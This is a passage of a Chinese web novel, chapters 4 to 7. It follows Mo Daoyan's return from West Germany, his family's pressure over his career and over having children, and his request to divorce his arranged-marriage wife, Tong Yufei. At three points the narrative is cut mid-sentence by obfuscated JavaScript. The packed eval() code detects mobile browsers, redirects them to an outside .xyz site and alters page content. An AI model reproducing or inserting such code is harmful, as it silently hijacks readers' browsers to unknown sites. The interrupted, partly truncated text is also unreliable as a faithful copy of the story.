她有手有脚有工作,没有莫道言也能活,可她不能活的时候,他们谁管过她?爸妈把她当拖油瓶,扔给了别人,扔了就扔了,偏要在他们其乐融融的时候,拆散他们的家,养父母是怎么死的,她的脚踝是怎么伤的?他们一个个难辞其咎…… 论伤害,莫道言远排不上号! 4. 第四章 老城区的武陵街,东临机械厂,西有玻璃厂,向南一千米,是味精二厂,三个厂的职工混杂居住,工作日的晨时与黄昏,街上人流如织,工人们从四面八方鱼贯而出,摊贩们络绎不绝,用老旧的三轮车后箱和尼龙布垫改造的海鲜摊,自行车后座放块木板摆放着现杀的鸡肉,花红柳绿的汽水,西城名吃芝麻花生糖的香气弥漫了一条街…… 莫家位于武陵街八号,是一处闹中取静的独栋院落,院内坐落着一幢红砖黑瓦的三层小洋楼,仿古典式住宅,楼房南面是草地和喷水池,池中有尊身披纱衣的少女石雕,离石雕两米远的地方,长着一棵粗壮的香樟树,要两个成年人才能合抱过来,旁边还种着两棵金桂树。这宅子原是徐氏老宅之一,莫道言的外曾祖父赠予奶奶的嫁妆,奶奶随爷爷住进军区大院后,这里一直闲置,直到爷爷去世,奶奶才带着孩子们搬了回来。 孟如卿原不是莫老太太合意的儿媳人选,但莫长林心如铁石要娶,非母亲几句威逼利诱的责骂所能动摇,暗自和孟如卿领了证,生米煮成熟饭,莫老太太一气之下,把儿子儿媳赶了出来,莫长林不肯屈服,带着妻子蜗居在机械厂老厂区改建的职工楼房,一套三十五平的小房子内,后来莫道言和弟弟相继出生,奶奶思孙心切,这才松口抛了橄榄枝,把他们一家接了回来。 莫道言随父母住进小洋楼那天,刚过完五岁生日。 洋楼第一层有四个房间,奶奶,爸妈和林姨各住一间,第四间是爸妈共用的书房,第二三层各有三间房,莫道言和佟语非在二楼完的婚,主卧外的两房间,一间书房,一间婴儿房,莫道行住三楼,有单设的琴房和运动室。 莫道行考完最后一门声乐课,学校陆续放了寒假,研究生部的师兄师姐有演出汇报,他被拉去助演,遇见了被请来做评委的师姐陈觉遥,她的出现引起了不小的轰动,莫道行和陈觉遥攀谈,不经意间说起哥哥,陈觉遥言之凿凿称,莫道言早在五日前就回国了。 哥哥回国却不回家,莫道行迷惑不解,当日演奏结束,去了趟乔卓成家,在乔家的后院,果然见到了在打网球的哥哥,得知哥哥在忙着谈新工作,莫道行眨着如墨的眼睛笑了,为嫂子的苦尽甘来而欣喜,几乎没顾得想进门两刻钟了,哥哥压根没提嫂子,但他不以为意,哥哥七情不上面,获得再了不得的成就都不露圭角,或者是近乡情怯。 莫道行接替乔卓成,挥汗如雨地与哥哥练球:“你想等尘埃落定再回去,是用实际行动向嫂子证明,再也不走了,要和她长相厮守?” 莫道言不置可否,他结婚时,弟弟还没满十五岁,读不懂他的心不甘情不愿,只知道孤标傲世的哥哥远走高飞之际,娶了个俏丽的姑娘,像一种宣誓,下定决心悬隔着千山万水,都要和她共度余生的宣誓。他在学业和事业上的选择,不会轻易被他人左右,但又不能否认,那样会让佟语非难堪。 他发了个精彩的球,轻飘飘切换内容:“爸妈还好吗?” 莫道行惆怅道:“机械厂遇到了一些难题,爸爸已经连续加三四个月的班了,妈妈在组织新年送戏下乡的活动,一样神龙见首不见尾。” “你几号结束演出?我与你同回,可好?” 莫道行兴奋至极:“十二号学校的活动结束,我们校门口,不见不散。” 十二号转瞬即至,傍晚时分,林姨开门看到莫家两兄弟,扯着嗓门喊:“老太太,佟小姐,大少爷,是大少爷回来了!” 林姨五十六岁,八九岁就跟着姐姐出来做佣人,服侍过不少有钱有势的高门大屋,对雇主的称呼还沿袭着旧社会的叫法,老太太,老爷太太,少爷少奶奶地叫,莫长林直言不讳批了许多次,叫法腐朽,被人听了去,会当他是作威作福的资本家,孟如卿严厉警告林姨改正称谓,改不了卷铺盖走人。 莫道言曾劝解母亲,对受过压迫的人别那么苛刻,欲速则不达。 时过境迁,林姨的别扭称谓早已纠正,只是突然看到莫道言,喜出望外,那旧称便不自觉脱口而出。 林姨是看着两兄弟长大的,哥哥沉稳持重,事事周全,从不需要人操心,老二活泼好动,小嘴叭叭地生怕话茬掉在地上,最爱摆弄奶奶那架旧钢琴,虽说性格迥异,却都知礼守矩,就像小时候读书,无论功课好坏,作业总是规规矩矩完成,只不过方式大不相同,哥哥全凭自觉,弟弟则要靠莫老太太的嗓门和莫长林的戒尺。 对品学兼优的莫道言,林姨自然多几分偏爱,记得他青春期抽条时,瘦得像是托不起肩膀上的脑袋,她便变着法子做他最爱的红烧牛肉和白切鸡,后来莫道言去德国留学,她还整天担心他吃不惯外国的餐食,怕影响长个,如今打眼一看,好家伙,肉长了,个高了,肩宽腿长,仪表堂堂,倒叫她在心里暗叹,看来外国的伙食也不差呢。 望着英挺俊朗的莫道言,林姨不禁暗自惋惜这婚结得早了,以他现在的品貌,不知要迷倒多少大户人家的小姐,佟小姐虽说俊俏归俊俏,配他还差点意思。 莫老太太看到大孙子,激动得不能自已,上上下下前前后后地打量着他:“终于回来了,一个人漂泊在外,我的小言受了大苦了……” 莫道言云淡风轻地笑:“是啊,都苦胖了。” 他打开背来的两个皮包,将送给家人的礼物一一分发,给奶奶的是国外最先进的家庭备用血压计,父亲的是两瓶葡萄酒,母亲的是高端职业装,给姑姑莫长萦带了套维斯特尔森林地区的陶瓷工艺品,弟弟的是一台便携式CD播放器和一些摇滚歌手的唱片,林姨的是套护手霜,送佟语非的是一条橘红色的围巾。 莫老太太笑道:“前几日我还跟佟丫头说,要多穿色彩绚丽的衣服,你就带了一条来,这叫什么?心有灵犀,快拿去给她试戴。” 众人围着莫道言嘘寒问暖时,佟语非在厨房切水果,摆果盘,泡菊花茶,茶香四溢,飘散在空气里,她穿着贝壳色的毛衣,天蓝色直筒牛仔裤,乌黑的发被束在波点飘带发箍后,纤细的背影隐在氤氲的雾气中,看不分明。 照理说,作为妻子,她本该是与他最亲近的人,久别重逢,该有说不完的甜言蜜语,可他们的婚姻本就不寻常,这是母亲一手包办的婚事,她不过是被硬塞过来的陌生女人,除了名字,他对她知之甚少。莫道言站在厨房门口,一时竟不知该如何称呼她,叫全名太生分,跟着奶奶叫不出口,用西式称呼不庄重…… 踌躇的当口,佟语非的余光已瞄到了他,转头看清来人,唇角扬起浅浅笑意:“这是送我的吗?” “原本想送别的,临时出了点状况,这件是本地货。” 单论价钱,围巾还要贵些,这番话不是为了论证本地货和外国货的优劣,是想告诉她,她没有被区别对待。 佟语非摸着毛茸茸的呢料:“暖和,刚好用得着。” 莫道言寒暄道:“你是在报社做……编辑?” 第一次见面时,她是在报社编辑部实习,实习期满,做的不是莫道言以为的编辑,是校对,见面那天莫道言刚拿到工业大学的邀请信,正准备去西德大使馆签证的材料,一些学籍资料,高中和大学的成绩单等。他拨冗出来相亲,和她并排沿着交大正门外的迎广路,走了很久,久的原因是他不想在学校旁逗留,以防被同学们巧遇,他要去的西德缺乏劳动力,经济收入可观,出国机会来之不易,多少人想出都出不去,没人相信他走了还会回来,这个节骨眼上和一个女孩好上,就是不安好心,玩弄别人的感情。 他不是那种人,但很难证伪。 走出交大生活区的三四公里,他们在街角面馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819101|175458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各要碗黄鱼面,莫道言已经不记得那碗面的口味了,只记得汤头泛着奶白,像刚挤出的牛奶。饭后去了红日影院,一起看了部电影《小巷名流》,在昏暗噪杂的影厅里,她长长的睫毛颤动着,主动牵了他的手,凑过来时带着雪花膏的香气,然后在他脸上亲了一下。 她不害臊地说:“莫道言,娶我吧,只要肯娶我,你要我怎样都成。” 年轻的莫道言是一张白纸,男欢女爱远在他眼里,远不及交大参与研制的运速每秒上亿次的高性能计算机有吸引力,他被佟语非直白的言辞打得措手不及,忙划清界限,一再重申,结婚非本意,只为给母亲个交代,他日学成归来就离,他的婚姻与别人不同,不是真正的夫妻,是同志关系。 他娶了她,没做真正的夫妻,也没做同志,同志是拥有共同志向,他们不在此列。 严格说来,这个婚是她求来的,所以她对他笑的时候格外的多,她笑起来很好看,因为温和,好看之上又添了暖意:“我现在在西城日报做校对员。” “累吗?” “还好,你呢?” “也好。” 他们相视而笑,再无话可谈。 夜色渐浓,林姨忙活着晚饭,问莫道言有无特殊要求,她跟着老太太看过一些译制片,里面的老外吃的牛排都是夹生的,莫道言要她照着从前做,回乡随俗,林姨欢天喜地领命去了,佟语非跟进来,和林姨一起摘菜,洗菜,切丝…… 林姨准备葱姜蒜的佐料,佟语非将姜挑了出来,莫道言不吃姜。 “佟小姐有心了。” 林姨讪讪地干笑,夸赞着佟语非,心底响着另一个声音,这佟小姐是个奇人,在家不是伺候老太太,就是和她争厨房,饭前捣鼓菜,饭后洗盘子,她曾疑心佟语非别有目的,监视着她干活,想抓到错处开了她,让某个亲戚顶上,日子一长,发觉猜错了,纯粹是闲不住。 “小姐身丫鬟命,飞上枝头也变不了凤凰。” 林姨时常这么想着。有些人啊,天生就是劳碌命,享不得清福的。 莫道行趁机向哥哥“告状”:“嫂子有时很过分,太勤快了,衬托得我像只大懒猪,哥,你要多带嫂子出去娱乐娱乐,小区南边的小广场,每天都有人跳舞,音乐和舞蹈会让亲密关系突飞猛进。” 莫道言忽地问:“钢琴练到几级了?” 全国钢琴考级活动,最早是从八七年的广州钢琴学会发起的,当时报名的只有四十多人,级别设有一至三级,自此拉开了大陆音乐考级的序幕,考试规模日益壮大,西城紧随几大城之后,在去年暑假首次举行了钢琴考级。 莫道行乖笑道:“考了个二级,但我拿到了全国钢琴大赛成人组的一等奖,” 哥哥在众人眼中天资过人,莫道行望尘莫及,但尺有所短寸有所长,哥哥是个地地道道的工科生,不喜风花雪月,乐器是他唯独能压哥哥一头的,于是他带哥哥去了琴房,迫不及待地展示着不可多得的天赋。他弹了首《莫斯科郊外的夜晚》,旋律响起,淳朴浓烈的俄罗斯风情呼之欲出,但莫道言又一次做了音盲,对曲子没任何反应,目光锁在挂衣架上一排红黄蓝绿的毛线围巾。 莫道行狡黠地笑着:“都是手工织的,给我织围巾的姑娘心灵手巧吧?” “恋爱了?” “岂敢岂敢,送我围巾的小姐早被人抢去了,远在天边,近在眼前,就是你的太太我的嫂子佟语非小姐,嫂子每年冬天都会给我们每人织一条颜色不同的围巾,哥,你的那份在你们房间的红木箱里放着,嫂子用塑料膜包着,还放了樟脑丸,唉,早知道我就通知你,给嫂子换件礼物了。” 他拨了下琴弦,在明快的音律中补了一句。 “不过你回来了,她有了最好的礼物。” 5. 第五章 晚饭前莫长林和孟如卿先后回家,莫长林得悉莫道言辞去了工作,被陈怀礼的家庭小作坊招入麾下,大为光火,这几年经济体制改革的风,吹到了私营企业和个体户,给了一些人宽泛的自由度,掀起了新一波下海潮,乃至陈怀礼这种高校教师都不甘寂寞,扔下教鞭投身到创业的大潮。陈怀礼讲课有一手,但在商海打拼不能只凭嘴,其创立的新立电器对外称是致敬的股份制改革,要做名副其实的股份有限公司,明眼人一看就是虚有其表的草台班子,统共六七十人,还都是各种连带的七大姑八大姨,这种作风能带好队伍? 依着莫长林,莫道言纵然不想效仿八零年代的前辈,融入欧美国家的主流社会,再攀技术巅峰的潮流,还有大把的路可选,能回归国内研究所,潜心钻研技术,能进实力雄厚的国营单位旱涝保收,能进高校教书育人,以上都不要,想开辟新赛场,佼佼者比比皆是,为何要跟着一个没有实战经验的陈怀礼?读书人擅长纸上谈兵,莫道言喝了几年洋墨水,被捧杀到不懂天高地厚,自命不凡地以为能创造新天地,历史重演多少遍了,没了乘凉的大树,时代浪潮里搏杀出来的凤毛麟角,有些错犯不得,一着不慎满盘皆输,普通人的一生会被碾得粉碎。 老友们羡慕他有个省心省力的大儿子,殊不知傻愣愣的小儿子才是不用费心的,小的能造腾,但跳不出父母设定的框,大的偶尔出其不意,往往是人生转折的大事件,莫道言此举和擅作主张的留学如出一辙,根本不容他人干预。 莫道言在很多方面和父亲观点相悖,譬如下海潮非单凭利好政策形成,势不可挡的经济疾速发展,提供了得天独厚的市场空间,与此同时,就业形势日渐严峻,下海是很多人破釜沉舟的生存抉择,还有少部分个人志向,没人会对创业黄金期的机遇熟视无睹,私营企业的崛起是未来趋势,形如部分国营企业的沉疴宿疾,市场统治力式微,革新刻不容缓,止步不前者会被大浪淘沙。 新立刚成立不久,难免有不尽如人意的地方,这也是他和陈怀礼争持不下的焦点,薪酬能适当退步,人员管理权上必须据理力争,而新立也有它的可取之处,带头人陈怀礼既能在预见市场发展方向上高瞻远瞩,考虑长远利益,又有容人之量,清楚任人唯亲对公司不利,苦于现实所限逼不得已,但对革新方案,始终秉持开放的态度。 他提的核心条件,陈怀礼大体都答允了。 莫道言没打算前脚落地,后脚就和父亲打辩论赛,那么做只会弄巧成拙,增加交流成本,便把话岔开了,转到了父亲近日的苦恼上,机械厂竞争力下降和中层技术人员频繁被挖墙脚的残酷现实,歪打正地捅了马蜂窝,莫长林的愤怒,由对他的职业发展,引申到了对良莠不齐的私企的批判,怒斥他们偷奸耍滑不守规矩,攀交情,给回扣,贿赂技术人员,偷图纸,甚而仿造成品……最后义愤填膺地绕到他身上,他帮他们,莫如帮他老子。 莫道行拿着鹿角开瓶器开葡萄酒,问旁边洗着红酒杯的佟语非:“嫂子,你想哥哥去哪儿工作?” 佟语非淡淡道:“我说了不算。” “他的工作左右着你们以后生活质量的一半,你是女主人,态度至关重要。” 孩子就是孩子,佟语非将洗好的杯子放回托盘上:“你还小,别贪杯。” “贪不了,我有使命在身,劝君更尽一杯酒,爸爸多喝一口酒,哥哥就少挨一口训,不过要我说,你和哥哥该喝一杯,葡萄酒在欧洲又叫爱情酒,爱情甜如蜜。” “我喝了酒字全飘起来,新闻故事变新闻事故。” 林姨烧了几道家常菜,炖了无花果猪骨汤,在佟语非的鼎力相助下,做了道新菜醋焖牛肉,用葡萄酒,果醋和丁香等香料腌制牛肉后,大火炖煮,再将烧成浓汤的腌汁浇洒,据说是德国人常吃的大菜,酸甜适口,齿颊留香。 人坐齐了,莫道行给大家倒酒,大家皆知莫道言的工作是父子俩的逆鳞,都避而不谈,莫长林和他谈工作话不投机,便转向了其他,问他几时把添丁进口的大事提上日程,莫道行酒险些倒洒了,惊呆父亲强人所难,哥哥凳子还没暖热,和嫂子都没过二人世界呢,就要生孩子了,太惨了吧? 莫长林没理二小子,现场拷问莫道言:“二十好几老大不小了,还等什么?工作率性而为生死未卜都敢上,要娃娃这类一本万利的事反要磨磨蹭蹭,老子像你这么大,儿子都读完小学了。” 莫道行是个数学废,但一百以内的加减乘除还是小菜一碟,很快算出了不对:“算六岁读小学吧,读完十一岁,您是十二三岁就当了爸爸?娶的是妈妈吗?妈妈不是说工作后认识的爸爸吗?还是世上的某一角落,有个和我们同父异母的大哥?” 孟如卿凝眉:“大傻和小傻。” 莫老太太不干了:“长林是大院里公认的神童,二十四岁能被老厂长力排众议,做了接班人,在整个西城都是独一份,道言自小名列前茅,是遗传了他爸,道行没遗传到,只能走偏门取长补短。” 莫道行朝佟语非吐舌:“笨蛋没人权。” 莫道言半开玩笑:“国内的西洋乐虽然气势低迷,但不能说是偏门,也许哪天就突围出去了?遗传之论就更失公允又不科学了,按照遗传学来论,智商是多基因共同作用,而非单一基因决定。” 他对父亲的逼问意料之外,情理之中,一件事上没拍板,必须要在另一件事上找补,以显示做老子的威严。比如他小学时,莫长林为借他秀优越感,让他在酒桌上给叔叔伯伯们背《滕王阁序》和圆周率,他理直气壮地顶了回去,你还会刨床呢,刨一个呗,莫长林没刨床,演了套擒拿,擒他的时候骂骂咧咧,小兔崽子,下老子的面。 再比如莫长林想让他考军校,忆往昔说,倘若我的老子你的爷爷不犯错误,你的老子会是一个将军,现在你叔叔为国捐躯了,我和将星无缘了,希望你能完成父辈的未竟之业,把莫家的荣耀挣回来,又被莫道言正言厉色地撅开,爷爷的错只是开枪打废了人,还是个死不足惜的人,就您这脾气,恼了能杀人,不当将军利国利民,人各有志,他不为莫长林的遗憾买单,志不在部队,何必去抢名额? 莫长林在他选填志愿时吃了瘪,回过头扣了他的生活费,跟老子顶嘴,吃饱了撑的!只有奖学金还养不活正长身体的莫道言,一分钱饿死英雄汉,他喊不出士可杀不可辱,毕竟他有他的未竟之志,于是走投无路去求莫长林,违心地写检讨书,表孝心。 吃人嘴短拿人手软,他在西德没日没夜赚外快,多少有莫长林的反向催化,而今莫长林眼瞅着说不动他的工作择取,便无事生非,想用孩子搏回一城,其实有什么好急的,就莫长林烈火轰雷的暴脾气,出去有的是人给他当孙子。 莫道言看穿父亲的把戏,意图催生真假难辨,要他服软板上钉钉,不动声色道:“怎么个不等法,今晚就给你造个孩子?” 莫长林反唇相讥:“你能有一击即中的能耐,老子早当爷爷了。” 此话一出,客厅一片死寂,莫道言本想回嘴,没击当然不会中,人还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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莫长林声东击西,孟如卿矛盾转移,只有莫老太太认了真,还觉得所想和儿媳不谋而合,同龄的表妹做了太奶奶,孙子生了对龙凤胎,洪福齐天,莫长林表姐家的二小子荣升财政局副主任,上上个月家里添了个白白胖胖的大丫头,婚姻事业齐头并进。莫家的两小子都大了,工作的工作,上学的上学,家中日甚一日的冷清,她渴盼着莫道言夫妇能开枝散叶,给家里添点人气。 莫老太太叮嘱佟语非:“跟你们领导说说,能给你少派活就少派活,工资少点就少点,领导若不准,就辞工别做了,家里不短你口饭,女人还是要以家庭和孩子为重。” 莫老太太固守“男主外,女主内”的老思想,对四清六活的儿媳孟如卿最大的不满,是孟如卿工作日无暇晷,没管过孩子,五岁后的莫道言,一岁后的莫道行,都由老太太一手带大,虽然长得各有各的好,母亲的缺席还是让孩子们吃了些苦头,尤其是莫道言。 到了莫道言和佟语非的孩子,老太太已心有余力不足,不想他们重蹈父母的覆辙,佟语非的家世已经没讲究了,必须做好莫道言的贤内助,这曾是佟语非刚进门时,莫老太太对她的最低期许。 “过几天我请你们徐营表姑来家里做客,给你好好瞧瞧身体。” 徐营是莫老太太的亲侄女,莫长林的舅表妹,也是人民医院生殖医学科的专家。 佟语非道:“表姑大忙人,还是我找时间去医院。” “让小言陪你去。” “好啊。” 佟语非言听计从,笑容和腔调像一杯四十五度的水,不温不火,对喝惯了了咖啡的人来说,寡淡无味,莫道言不认为她会有和他生儿育女的强烈执念,但没探究下去的欲望,只好奇如果今晚真枪实弹地和她生孩子,她还会这么笑吗? 6. 第六章 饭后莫道言回了房,房内保留着他离家前的陈设,书桌上的全家福,毕业照,电机工程类的书籍,书桌下的篮球和足球,墙上的网球拍,窗户上大红色的喜字渐变为浅红色,嵌入式的大衣柜共有三竖格,每格有三横层,上方的横层空间最大,用来放长中衣,下面横层放些叠放的衣服或鞋子,中间和左边挂的仍是他的校服,熨烫得平平整整,右边的那格她在用,只有三四件大衣,其他的都收进了叠放区,角落里堆放着三个红色实木箱和一架红枣木的梳妆台,台上放着简约的护肤用品。 床单被子枕巾是新洗换过的,暴晒得松松软软,散发着烘焙气息的淡香,佟语非端坐在床边,全神贯注地缝补着人造革的酱红色水纹包,包面上的缀花松了。 熟悉的房间唤醒了莫道言沉睡的记忆,他蓦然念起了结婚的夜晚,也似这般万籁俱寂,月似银钩高悬天幕,喜宴结束,客人散去,他醉意蒙蒙地进来,看着满屋的红恍然如梦,就在同一个位置,坐着一身海棠红对襟喜服的女孩,他的新娘子。 她没有他那些女同学的见多识广,宏观上对科技革命的曙光和政治格局的演变,经济全球化的发展一窍不通,微观上对直流电器原理一无所知,但不妨碍莫道言多看几眼这个入侵了他私人领地的人,正如对实物无感的人们,仍会为精美的包装投去瞩目的光。她化了浓淡相宜的新娘妆,涂了桃红色的口红,青涩的脸蛋益发的白,擦了芍药味的雪花膏,有股幽淡的香,给客人敬酒时喝了点香槟,胜雪的肌肤白里透红,杏脸桃腮,柳眉星眼,眼波流转间透出浅淡的懵懂,犹似从油画里迷路的小鹿…… 平心而论,只看外在,她是个美丽的女生,不亚于学校里那些什么校花系花。 佟语非站起身倒了杯生姜茶,冲他笑,牙齿小而白:“喝点姜茶吧,对胃好。” 莫道言对姜过敏,没接茶:“你的名字是……” 相亲和换帖时交换过名字,大概他都忘记了,她拉起他的手腕,伸出食指,指腹摩挲着他的掌心:“佟语非,单人冬,语言的语,是非的非。” 她的指尖微凉,冲抵着他因饮酒渐生的燥热:“谁取的?” “我爸爸。” 语非语,默非默,非语非默,恕他眼拙,没看出她父亲是个有文化底蕴的人:“你爸真人不露相。” “你不喝姜茶,我去换白水。” 在她转身的一瞬,莫道言鬼使神差地攥住了那只细如葱白的手,趁势把她揽进了怀中,手指抚摸着细腻的脸庞,缓缓滑向薄唇,她的唇绵软水润,仿似被浸泡过的樱花瓣,娇艳欲滴,他情不自禁地搂住了她纤软的腰肢,温热干燥的唇覆上去,竭力汲取着花瓣的水分。 佟语非被他突如其来的举动惊住,茶杯落到地上碎成两半,击出清脆的响声。 莫道言仿佛迷失了一段漫长的时光,大醉方醒:“抱歉,是我失礼。” 后来回想此事,莫道言将其归结于少不更事,那时的自己尚未经受教育的充分洗礼,身上还残留着动物性的原始冲动,如今随着年岁增长和阅历加深,他早已脱胎换骨,再不会为礼品盒上那几朵精致的雏菊迷去神志,行浑噩的低劣之事。 --- 一床一被两枕头,孤男寡女同床共枕,他自认做不了柳下惠,今晚刚回就分房睡时机不成熟,最好的办法是把书房的单人沙发床搬过来,总能捱上一段日子。 他打定了主意往外走,佟语非拦下了他:“你舟车劳顿,早些休息,我去上班了。” “你上晚班?” “是的。” 她背上缝好的包,下楼出去,在客厅撞见刚打完工作电话的孟如卿。 孟如卿道:“不是上周刚上的夜班?” “轮班同事的妈妈病了,临到年关,事情又多,组长让我顶几天。” 助人为乐,孟如卿是支持的,但看了看墙上的挂钟说:“八点多,没车了吧?” 报社校对岗实行三班倒,白班,小夜和大夜,白班从早八点至下午四点,小夜从下午四点到零点,大夜从零点至第二日八点,佟语非这周排大夜,虽然十二点的班,踩点到即可,实际却不现实,距单位近的员工步行上班还凑合,离得远的步行无望,须骑行或乘公交,夜路骑行安全又是个问题,女同志基本只剩乘公交这一条路,夜班车少之又少,她们大多只能坐日班的末班车,跟着发车时间,提早两三个小时去单位。 武陵街这站去报社的三路车,末班是十九点五十分的,佟语非平时十九点半出门,今晚莫道言回家,莫道行放寒假,一家人难得聚齐,中间又出了莫家父子拌嘴的小插曲,她就迟了几十分钟。 佟语非在玄关处,换上黑白格的帆布鞋:“我骑车去。” 莫家有车有司机,多是老太太的专用,除却生病等紧急情况,莫长林和孟如卿不会动用,也不许孩子们用,孟如卿对楼上的莫道言道:“道言,去送一送。” 佟语非忙说:“不用不用,这时候上夜班的人挺多的。” “就近厂子上班的人多,你们报社远,和你同路的寥寥无几,有他陪着稳妥一些。” “他一去一回寒风夜露,太折腾了……” “他是你男人,不折腾他折腾谁?这是他该做的。” 佟语非没料想婆婆会说这种大白话,脸一红道:“他长途跋涉的,刚到家……” 莫道言取了件夹克衫下来,先她一步出门:“走吧。” 佟语非常用的是辆凤凰牌女式单车,莫道行的是辆山地车,载人都不行,厂里给莫长林配了一辆丰田车,原先的那辆二八杠闲置了,莫道言从储物间拉出来,擦净打上气,跨上去单脚支地,等她上来。 佟语非绕到他跟前,递来一双棕色的毛线泄指手套,背面的图案是用黄色毛线钩织的小熊掌,娇俏可爱,和她戴的是一对,是她这两天加班加点织出来的:“送你的!” 莫道言没接,从衣袋里掏出一副用过的皮手套:“毛线不耐磨,磨损可惜。” 手套打出来就是给人戴的,磨损了理所必然,他不收是不想收。 被当面拒收,佟语非处之泰然,坐上车,莞尔一笑:“可以走了。” 莫道言载着佟语非出了门,街道两旁装了路灯,为了节省用电,开了不足一半,还有些路灯杆被行车撞坏,歪歪扭扭地斜在半空,四下寂静无声,偶或有捉迷藏的孩子呼朋引伴唱着童谣跑过,小小的身影穿行在明暗交替的光影中,勾绘着一幅笔酣墨饱的水墨画。 北风怒号,寒气刺骨,月光仿如冻霜,冷冰冰地铺在大地上,一路上两人默不作声,莫道言为缩短处刑般的相顾无言和飞沙走砾的袭击,加快了车速,车子几乎飞了起来,碾过一处凸凹不平的洼地,一阵剧烈地颠簸,佟语非不由自主地攥紧了他腰身两侧的衣服,额头重重地贴向他的背。 隔着外套,莫道言依旧能觉察到她的惊恐和被冬夜侵染的冰冷,捏闸放缓了车速:“避避风再走?” 前面的公用投币电话亭,是此路段唯一的避风港,佟语非想到莫道言挡在前面,一定更冷,点头说好,莫道言将车停在路边,和她一起走了过去,电话亭只有一平米的空间,他拉开门让佟语非进去,自己留在了外面,拢着手点起一根烟,在疾风的肆虐下,火花和灰烬像一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819103|175458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闪而过的流星,飞速地燃灼着。 佟语非推开一条缝:“进来挤挤吧。” 莫道言吐出的烟雾在空中飘远,看再不进去,她浑身不自在得就要出来了,便掐了烟,带着凉意和烟草味挤了进去,佟语非矮他半头,面面相对,额头正抵在他的唇边,她脸颊染了绯红,忙转过身去,手指在电话亭的玻璃上划拉着,看着外面摇动的树影,像是自言自语。 “这阵风不知什么时候能停?” 莫道言背靠着电话机:“总会停的。” 近在咫尺,没声音格外尴尬,她没话找话道:“东德和西德有什么不同吗?” 莫道言微淡的声音在她头顶飘飘荡荡:“制度不同,东德属于华约集团,奉行社会主义,实行计划经济体制,西德属于北约集团,奉行资本主义,实行市场经济体制,企业以私有制为主,经济水平有差,东德的经济规模只有西德的四分之一,技术高度不可企及,一些大众熟知的大众宝马等名牌车,均出自西德,还有些细微的区分,东德的第一外语不是英文,是俄语。” 他答完,她又问:“你用时三年攻读了硕士和博士的全课程,是怎么做到的? “一年学费一万多马克,要减少支出,压缩学年是最明智的做法。” 莫道言低头看她,像是在等她的第三个问题,却听她禁不住道:“我拖累你了。” 实际上不能说拖累,嫁汉嫁汉,穿衣吃饭,谁娶了老婆都要养的,这是他的责任,和爱与恨不相关,但他也没客气地说没有拖累等,讲一些表面的漂亮话,而是瞟向外面道:“风停了。” 莫道言骑过三条长街,转过两个街角,到了西城日报社,报社没有他想象中气派,两层破旧的小楼,牌子是块白底黑字的缺了半角的木板,苍劲有力的楷体字名,彰显出几分寂寥的风骨,楼没有亮灯,上面黑咕隆咚,前门的锁坏了,校对室在后面那排房子。 佟语非走南面的侧门上去:“辛苦你了,快回去吧。” 莫道言卒然叫住了她:“佟小姐……” 佟语非回首,呆呆地看着他。 莫道言与那双晶亮的眸子相望,沉吟道:“出国那天我同你说过的话,还记得吗?” 临别时他对她说,他们不是真正意义上的夫妻,他不会白占她的大好年华,她若邂逅到情投意合的人,尽可写信,无论他身置何处,都会飞回来,无条件配合她离婚。 五年了,他没等来她求离婚的信,也没踏上故土半步。 佟语非顿了顿道:“情投意合可遇不可求,我没那么好运。” “不是这句,后面那句。” 他念完书满载而归那天,无论她寻到归宿与否,他都会离婚。 莫道言无比坚定地道:“我们离婚吧!” 佟语非眼中掠过些微的错愕,她早料到会有这一天,只是没想过来得如此之快,然而那抹错愕转瞬即逝,犹如云过天空消散无踪,莫道言见此情形很欣慰,离婚虽算不得好消息,又事出突然,她一时反应不过来是人之常情,如今她已醒悟,说明她并未忘却当初的承诺,事情比他预想的要顺利,他们结得痛快,离得干脆,总算好聚好散。 “你好好想想,想要什么,想好了和我说。” 她在这个家快五年,单就哄奶奶开心,他就欠她的,奶奶门第观深厚,最初获知宝贝孙子娶了个农民的女儿,还冷眼相待,乌鸦怎配鸾凤对,门不当户不对,她能有今日在奶奶心里的位置,付出的艰辛可想而知,他会尽力补偿她。 “回去吧,晚了他们该担心了。” 她抽了抽气,转身没入了星夜中。 7. 第七章 莫道言原筹算着过完年摊牌离婚事宜,免得新春给大家添堵,可思来想去,刚落地就被催生,事情越拖延越被动,索性和盘托出,除此之外,在乔家住的那几天,他听乔卓成的大姐乔卓群说起过某位老同学的离婚案例,深受启发。 案例的男主角是林业局主任,妻子是电业局调度员,两夫妻性格不合,三天一大吵,两天一小吵,吵得不可开交身心俱疲,一致同意离婚,就此双双脱离苦海,哪知万里长征的拉锯战才走了第一步,接下来是工会,街道,妇联和民政局的轮番上阵,思想工作做了几百遍,闹腾了三年,单位证明都没拿到。尽管八零年的新婚姻法明确规定,夫妻感情破裂,调解无效,准予离婚,但感情破裂的尺度,自由和道德的衡量,都是抽象概念,很难准确界定,因此政府相关部门还是以和为贵,宁拆十座庙,不破一门婚。 讲到尾声,乔卓群卖起了关子,让乔卓成和莫道言猜这对怨侣的结局。 